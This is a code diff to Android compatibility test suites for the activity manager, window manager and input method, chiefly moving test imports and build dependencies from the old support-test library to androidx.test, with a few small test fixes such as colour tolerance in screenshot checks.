--- a/tests/framework/base/activitymanager/testsdk25/Android.mk
+++ b/tests/framework/base/activitymanager/testsdk25/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_SDK_VERSION := 25
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test
+    androidx.test.rules
 
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml b/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml
index f216411..8d3e539 100644
--- a/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/testsdk25/AndroidManifest.xml
@@ -30,7 +30,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.server.cts.am.testsdk25" />
 
 </manifest>
diff --git a/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java b/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
index ce83d59..7d6bd49 100644
--- a/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
+++ b/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
@@ -20,8 +20,9 @@
 
 import android.app.Activity;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/framework/base/activitymanager/util/Android.mk b/tests/framework/base/activitymanager/util/Android.mk
index 22dfa02..15d3412 100644
--- a/tests/framework/base/activitymanager/util/Android.mk
+++ b/tests/framework/base/activitymanager/util/Android.mk
@@ -25,8 +25,9 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     platformprotosnano \
-    compatibility-device-util \
-    android-support-test
+    compatibility-device-util-axt \
+    androidx.test.rules \
+    hamcrest-library
 
 LOCAL_MODULE := cts-amwm-util
 
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
index fe1f588..f503f98 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
@@ -269,6 +269,19 @@
                 "***Waiting for LastOrientation: " + orientation);
     }
 
+    /**
+     * Wait for orientation for the Activity
+     */
+    void waitForActivityOrientation(ComponentName activityName, int orientation) {
+        waitForWithAmState(amState -> {
+            final ActivityTask task = amState.getTaskByActivity(activityName);
+            if (task == null) {
+                return false;
+            }
+            return task.mFullConfiguration.orientation == orientation;
+        }, "***Waiting for Activity orientation: " + orientation);
+    }
+
     void waitForDisplayUnfrozen() {
         waitForWithWmState(state -> !state.isDisplayFrozen(),
                 "***Waiting for Display unfrozen");
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
index d50e622..11ecd4f 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
@@ -31,7 +31,8 @@
 import android.graphics.Rect;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
 
 import com.android.server.am.nano.ActivityDisplayProto;
 import com.android.server.am.nano.ActivityManagerServiceDumpActivitiesProto;
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
index 59ea4ab..192a1ac 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
@@ -25,6 +25,7 @@
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
 import static android.content.pm.PackageManager.FEATURE_EMBEDDED;
 import static android.content.pm.PackageManager.FEATURE_FREEFORM_WINDOW_MANAGEMENT;
 import static android.content.pm.PackageManager.FEATURE_LEANBACK;
@@ -71,22 +72,22 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import static java.lang.Integer.toHexString;
-
 import android.accessibilityservice.AccessibilityService;
 import android.app.Activity;
 import android.app.ActivityManager;
 import android.content.ComponentName;
 import android.content.Context;
-import android.graphics.Bitmap;
 import android.content.Intent;
+import android.graphics.Bitmap;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.provider.Settings;
 import android.server.am.settings.SettingsSession;
-import android.support.test.InstrumentationRegistry;
 
-import android.support.test.rule.ActivityTestRule;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
 
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -97,6 +98,8 @@
 import org.junit.runner.Description;
 import org.junit.runners.model.Statement;
 
+import static java.lang.Integer.toHexString;
+
 import java.io.IOException;
 import java.util.Arrays;
 import java.util.HashMap;
@@ -110,9 +113,6 @@
 import java.util.stream.Collectors;
 import java.util.stream.IntStream;
 
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
 public abstract class ActivityManagerTestBase {
     private static final boolean PRETEND_DEVICE_SUPPORTS_PIP = false;
     private static final boolean PRETEND_DEVICE_SUPPORTS_FREEFORM = false;
@@ -516,7 +516,8 @@
     protected boolean supportsInsecureLock() {
         return !hasDeviceFeature(FEATURE_LEANBACK)
                 && !hasDeviceFeature(FEATURE_WATCH)
-                && !hasDeviceFeature(FEATURE_EMBEDDED);
+                && !hasDeviceFeature(FEATURE_EMBEDDED)
+                && !hasDeviceFeature(FEATURE_AUTOMOTIVE);
     }
 
     protected boolean isWatch() {
@@ -803,7 +804,7 @@
     protected int getDeviceRotation(int displayId) {
         final String displays = runCommandAndPrintOutput("dumpsys display displays").trim();
         Pattern pattern = Pattern.compile(
-                "(mDisplayId=" + displayId + ")([\\s\\S]*)(mOverrideDisplayInfo)(.*)"
+                "(mDisplayId=" + displayId + ")([\\s\\S]*?)(mOverrideDisplayInfo)(.*)"
                         + "(rotation)(\\s+)(\\d+)");
         Matcher matcher = pattern.matcher(displays);
         if (matcher.find()) {
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/UiDeviceUtils.java b/tests/framework/base/activitymanager/util/src/android/server/am/UiDeviceUtils.java
index 0283d85..4f99b0a 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/UiDeviceUtils.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/UiDeviceUtils.java
@@ -17,23 +17,25 @@
 package android.server.am;
 
 import static android.server.am.StateLogger.logE;
-import static android.support.test.InstrumentationRegistry.getContext;
 import static android.view.KeyEvent.KEYCODE_APP_SWITCH;
 import static android.view.KeyEvent.KEYCODE_MENU;
 import static android.view.KeyEvent.KEYCODE_SLEEP;
 import static android.view.KeyEvent.KEYCODE_WAKEUP;
 import static android.view.KeyEvent.KEYCODE_WINDOW;
 
+import static androidx.test.InstrumentationRegistry.getContext;
+
 import android.app.KeyguardManager;
 import android.graphics.Point;
 import android.os.PowerManager;
 import android.os.RemoteException;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 import android.view.KeyEvent;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.util.function.BooleanSupplier;
 
 /**
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
index 3d30f66..746fc16 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
@@ -30,10 +30,11 @@
 import android.graphics.Rect;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
+import android.view.nano.DisplayInfoProto;
+
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
-import android.view.nano.DisplayInfoProto;
+import androidx.test.InstrumentationRegistry;
 
 import com.android.server.wm.nano.AppTransitionProto;
 import com.android.server.wm.nano.AppWindowTokenProto;
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/settings/SettingsSession.java b/tests/framework/base/activitymanager/util/src/android/server/am/settings/SettingsSession.java
index b84995b..636a32c 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/settings/SettingsSession.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/settings/SettingsSession.java
@@ -3,10 +3,11 @@
 import android.content.ContentResolver;
 import android.net.Uri;
 import android.provider.Settings.SettingNotFoundException;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
 import android.util.Log;
 
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+
 import java.util.HashMap;
 import java.util.Map;
 
diff --git a/tests/framework/base/windowmanager/Android.mk b/tests/framework/base/windowmanager/Android.mk
index 850e7ad..f7e002c 100644
--- a/tests/framework/base/windowmanager/Android.mk
+++ b/tests/framework/base/windowmanager/Android.mk
@@ -32,8 +32,8 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    android-support-test \
+    compatibility-device-util-axt \
+    androidx.test.rules hamcrest-library \
     platform-test-annotations \
     cts-amwm-util
 
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index aee8390..f9ff0f4 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -41,7 +41,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.server.cts.wm"
                      android:label="CTS tests of WindowManager">
     </instrumentation>
diff --git a/tests/framework/base/windowmanager/alertwindowservice/Android.mk b/tests/framework/base/windowmanager/alertwindowservice/Android.mk
index cd72248..1975acd 100644
--- a/tests/framework/base/windowmanager/alertwindowservice/Android.mk
+++ b/tests/framework/base/windowmanager/alertwindowservice/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     cts-am-app-base \
-    compatibility-device-util \
+    compatibility-device-util-axt \
 
 LOCAL_SRC_FILES := \
     $(call all-java-files-under, src) \
diff --git a/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml b/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
index e7b3453..c044981 100644
--- a/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
@@ -18,7 +18,8 @@
         package="android.server.wm.dndsourceapp"
         android:targetSandboxVersion="2">
     <application android:label="CtsDnDSource">
-        <activity android:name="android.server.wm.dndsourceapp.DragSource">
+        <activity android:name="android.server.wm.dndsourceapp.DragSource"
+                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
diff --git a/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml b/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
index 09a0bc9..7d50b70 100644
--- a/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
@@ -18,7 +18,8 @@
         package="android.server.wm.dndtargetapp"
         android:targetSandboxVersion="2">
     <application android:label="CtsDnDTarget">
-        <activity android:name="android.server.wm.dndtargetapp.DropTarget">
+        <activity android:name="android.server.wm.dndtargetapp.DropTarget"
+                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
index 166037f..550e270 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
@@ -16,29 +16,13 @@
 
 package android.server.wm;
 
-import android.app.AppOpsManager;
-import android.os.Process;
-import android.support.test.InstrumentationRegistry;
-import android.platform.test.annotations.Presubmit;
-import android.support.test.filters.FlakyTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.AppOpsUtils;
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.IOException;
-import java.util.concurrent.TimeUnit;
-
-import static android.support.test.InstrumentationRegistry.getContext;
-
 import static android.app.AppOpsManager.MODE_ALLOWED;
 import static android.app.AppOpsManager.MODE_ERRORED;
 import static android.app.AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW;
 import static android.app.AppOpsManager.OP_SYSTEM_ALERT_WINDOW;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.mockito.ArgumentMatchers.anyBoolean;
@@ -50,6 +34,26 @@
 import static org.mockito.Mockito.timeout;
 import static org.mockito.Mockito.verify;
 
+import android.app.AppOpsManager;
+import android.os.Process;
+import android.platform.test.annotations.Presubmit;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.concurrent.TimeUnit;
+
 /**
  * Test whether system alert window properly interacts with app ops.
  *
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java
index 5d087a7..87442df 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java
@@ -31,8 +31,8 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
-import android.content.res.Configuration;
 import android.content.ServiceConnection;
+import android.content.res.Configuration;
 import android.os.Handler;
 import android.os.IBinder;
 import android.os.Looper;
@@ -42,10 +42,11 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.alertwindowservice.AlertWindowService;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
index 5d26234..429dca2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
@@ -36,12 +36,15 @@
 import android.app.ActivityManager;
 import android.content.Context;
 import android.graphics.Point;
+import android.hardware.display.DisplayManager;
 import android.os.RemoteException;
-import android.platform.test.annotations.AppModeFull;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
 import android.util.Log;
+import android.view.Display;
+
+import androidx.test.InstrumentationRegistry;
 
 import org.junit.After;
 import org.junit.Before;
@@ -120,6 +123,7 @@
 
     protected Context mContext;
     protected ActivityManager mAm;
+    protected DisplayManager mDm;
 
     private Map<String, String> mSourceResults;
     private Map<String, String> mTargetResults;
@@ -142,6 +146,7 @@
 
         mContext = InstrumentationRegistry.getContext();
         mAm = mContext.getSystemService(ActivityManager.class);
+        mDm = mContext.getSystemService(DisplayManager.class);
 
         mSourcePackageName = SOURCE_PACKAGE_NAME;
         mTargetPackageName = TARGET_PACKAGE_NAME;
@@ -307,9 +312,9 @@
     }
 
     private Point getDisplaySize() throws Exception {
-        final String output = executeShellCommand("wm size");
-        final String[] sizes = output.split(" ")[2].split("x");
-        return new Point(Integer.valueOf(sizes[0].trim()), Integer.valueOf(sizes[1].trim()));
+        final Point displaySize = new Point();
+        mDm.getDisplay(Display.DEFAULT_DISPLAY).getRealSize(displaySize);
+        return displaySize;
     }
 
     private Point getWindowCenter(String name) throws Exception {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 0946221..c7208f3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -40,8 +40,9 @@
 import android.server.am.WaitForValidActivityState;
 import android.server.am.WindowManagerState;
 import android.server.am.WindowManagerState.WindowState;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
 
 import org.junit.Ignore;
 import org.junit.Rule;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
index c08dc08..72f3e33 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
@@ -41,15 +41,16 @@
 import android.graphics.Rect;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.DisplayCutout;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.Window;
 import android.view.WindowInsets;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.hamcrest.CustomTypeSafeMatcher;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/LocationInWindowTests.java b/tests/framework/base/windowmanager/src/android/server/wm/LocationInWindowTests.java
index 1272237..5ba8474 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/LocationInWindowTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/LocationInWindowTests.java
@@ -31,11 +31,6 @@
 import android.graphics.Point;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.FlakyTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Gravity;
 import android.view.View;
 import android.view.ViewGroup;
@@ -43,6 +38,12 @@
 import android.view.WindowManager.LayoutParams;
 import android.widget.FrameLayout;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.hamcrest.Matcher;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/LocationOnScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/LocationOnScreenTests.java
index 15e9260..f9552d4 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/LocationOnScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/LocationOnScreenTests.java
@@ -16,6 +16,7 @@
 
 package android.server.wm;
 
+import static android.server.wm.LocationOnScreenTests.TestActivity.COLOR_TOLERANCE;
 import static android.server.wm.LocationOnScreenTests.TestActivity.EXTRA_LAYOUT_PARAMS;
 import static android.server.wm.LocationOnScreenTests.TestActivity.TEST_COLOR_1;
 import static android.server.wm.LocationOnScreenTests.TestActivity.TEST_COLOR_2;
@@ -32,16 +33,12 @@
 import android.content.Intent;
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
+import android.graphics.Color;
 import android.graphics.Paint;
 import android.graphics.PixelFormat;
 import android.graphics.Point;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.FlakyTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Gravity;
 import android.view.View;
 import android.view.ViewGroup;
@@ -49,6 +46,12 @@
 import android.view.WindowManager.LayoutParams;
 import android.widget.FrameLayout;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.BitmapUtils;
 import com.android.compatibility.common.util.PollingCheck;
 
@@ -179,14 +182,29 @@
     }
 
     private boolean isTestColors(Bitmap screenshot, int x, int y) {
-        return screenshot.getPixel(x, y) == TEST_COLOR_1
-                && screenshot.getPixel(x + 1, y) == TEST_COLOR_2;
+        return sameColorWithinTolerance(screenshot.getPixel(x, y), TEST_COLOR_1)
+                && sameColorWithinTolerance(screenshot.getPixel(x + 1, y), TEST_COLOR_2);
+    }
+
+    /**
+     * Returns whether two colors are considered the same.
+     *
+     * Some tolerance is allowed to compensate for errors introduced when screenshots are scaled.
+     */
+    private static boolean sameColorWithinTolerance(int pixelColor, int testColor) {
+        final Color pColor = Color.valueOf(pixelColor);
+        final Color tColor = Color.valueOf(testColor);
+        return pColor.alpha() == tColor.alpha()
+                && Math.abs(pColor.red() - tColor.red()) <= COLOR_TOLERANCE
+                && Math.abs(pColor.blue() - tColor.blue()) <= COLOR_TOLERANCE
+                && Math.abs(pColor.green() - tColor.green()) <= COLOR_TOLERANCE;
     }
 
     public static class TestActivity extends Activity {
 
         static final int TEST_COLOR_1 = 0xff123456;
         static final int TEST_COLOR_2 = 0xfffedcba;
+        static final int COLOR_TOLERANCE = 4;
         static final String EXTRA_LAYOUT_PARAMS = "extra.layout_params";
         private View mView;
         private boolean mEnterAnimationComplete;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
index a27ffd9..accc9cf 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
@@ -25,7 +25,8 @@
 import android.content.Intent;
 import android.server.am.ActivityManagerTestBase;
 import android.server.am.WindowManagerState.WindowState;
-import android.support.test.rule.ActivityTestRule;
+
+import androidx.test.rule.ActivityTestRule;
 
 abstract class ParentChildTestBase<T extends Activity> extends ActivityManagerTestBase {
 
diff --git a/tests/inputmethod/Android.mk b/tests/inputmethod/Android.mk
index 0d11efa..1315844 100644
--- a/tests/inputmethod/Android.mk
+++ b/tests/inputmethod/Android.mk
@@ -29,9 +29,9 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util \
-    ctstestrunner \
+    androidx.test.rules \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     CtsMockInputMethod
 
 LOCAL_SRC_FILES := \
diff --git a/tests/inputmethod/AndroidManifest.xml b/tests/inputmethod/AndroidManifest.xml
index b9c0ef4..67f198c 100644
--- a/tests/inputmethod/AndroidManifest.xml
+++ b/tests/inputmethod/AndroidManifest.xml
@@ -82,7 +82,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests of android.view.inputmethod"
         android:targetPackage="android.view.inputmethod.cts">
         <meta-data
diff --git a/tests/inputmethod/mockime/Android.mk b/tests/inputmethod/mockime/Android.mk
index 5cfed53..2265b34 100644
--- a/tests/inputmethod/mockime/Android.mk
+++ b/tests/inputmethod/mockime/Android.mk
@@ -25,6 +25,6 @@
 LOCAL_JAVA_LIBRARIES := junit
 LOCAL_STATIC_JAVA_LIBRARIES := \
    androidx.annotation_annotation \
-   compatibility-device-util
+   compatibility-device-util-axt
 
 include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
index a5a853c..8d9890d 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
@@ -25,9 +25,6 @@
 import android.content.ClipDescription;
 import android.net.Uri;
 import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.Selection;
 import android.text.Spannable;
@@ -42,6 +39,10 @@
 import android.view.inputmethod.InputMethodManager;
 import android.view.inputmethod.cts.util.InputConnectionTestUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/CompletionInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/CompletionInfoTest.java
index 9a8d206..7ce1e99 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/CompletionInfoTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/CompletionInfoTest.java
@@ -20,10 +20,11 @@
 import static org.junit.Assert.assertNotNull;
 
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.inputmethod.CompletionInfo;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
index 1557511..5a5744f 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
@@ -26,13 +26,14 @@
 import android.os.Bundle;
 import android.os.LocaleList;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.MoreAsserts;
 import android.text.TextUtils;
 import android.util.Printer;
 import android.view.inputmethod.EditorInfo;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextRequestTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextRequestTest.java
index 3e12579..dce10de 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextRequestTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextRequestTest.java
@@ -19,10 +19,11 @@
 import static org.junit.Assert.assertEquals;
 
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.inputmethod.ExtractedTextRequest;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
index d4dccce..222e06e 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
@@ -20,14 +20,15 @@
 
 import android.graphics.Typeface;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Spannable;
 import android.text.SpannableStringBuilder;
 import android.text.Spanned;
 import android.text.style.StyleSpan;
 import android.view.inputmethod.ExtractedText;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 9b3034e..6dc6840 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
